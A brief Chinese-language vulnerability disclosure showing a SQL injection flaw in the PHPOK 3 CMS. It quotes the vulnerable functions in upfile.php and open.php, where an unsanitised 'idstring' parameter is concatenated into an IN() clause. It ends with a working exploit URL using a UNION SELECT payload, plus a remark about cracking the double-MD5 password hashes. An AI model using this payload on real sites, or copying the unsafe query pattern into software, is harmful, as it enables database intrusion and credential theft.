作者:jsbug

网站:http://hi.baidu.com/jsbug/

    朋友总是踩着俺的尸体踏上DOTA的超神之路,看到论坛有人说phpok,趁着周末,送上人头一枚,希望你也能超神。

“phpok3/app/www/models/upfile.php”:

//通过ID串获取图片信息,这里获取的带有ID的缩略图
function piclist($idstring="")
{
    if(!$idstring)
    {
        return false;
    }
    $sql = "SELECT id,thumb url FROM ".$this->db->prefix."upfiles WHERE id IN(".$idstring.") ORDER BY substring_index('".$idstring."',id,1)";
    echo($sql);
    return $this->db->get_all($sql);
}

    IN() 这里的问题,有点类似当年的“Dz5.0”“pm.php”漏洞。

“phpok3/app/www/control/open.php”:

//通过Ajax预览图片
function ajax_preview_img_f()
{
//这里只是为了防止跨站,并且过滤的不好
    $idstring = $this->trans_lib->safe("idstring");
    if(!$idstring)
    {
        exit("empty");
    }
//直接代入
    $rslist = $this->upfile_m->piclist($idstring);
    sys_html2js($this->json_lib->encode($rslist));
}

    有几个同类型的就不再赘述了。

附 Exp:

http://localhost/phpok3/index.php?c=open&f=ajax_preview_img&idstring=0) union select 1,version()%23

官方图:

    密码两次 MD5,当然你也可以直接跑 Session (没测试,我随口一说)。